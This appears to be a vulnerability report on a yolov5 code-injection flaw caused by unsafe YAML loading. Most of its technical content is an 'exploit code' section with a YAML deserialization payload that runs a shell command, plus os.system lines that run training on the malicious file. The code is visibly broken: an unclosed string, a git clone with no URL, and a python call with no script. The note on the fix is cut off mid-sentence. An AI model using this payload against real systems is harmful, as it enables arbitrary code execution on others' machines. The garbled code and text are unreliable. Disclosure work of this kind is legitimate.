Code Injection in ultralytics/yolov5


Reported on

Dec 21st 2020


Arbitrary Code Excecution in ultralytics/yolov5. Yolov5 is a Object Detection model from Ultralytics. Ultralytics is a U.S.-based particle physics and AI startup with over 6 years of expertise supporting government, academic and business clients. Ultralytics offer a wide range of vision AI services, spanning from simple expert advice up to delivery of fully customized, end-to-end production solutions.

Technical Description

This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml. **NOTE : ** the fix iis to be done in

Exploit code

Python File

import os
exploit = '''!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
os.system('git clone')
os.system('rm exploit.yml')
os.system('python --data exploit.yml --cfg exploit.yml --weights "" --batch-size 24')


  • Run the exploit code

to join this conversation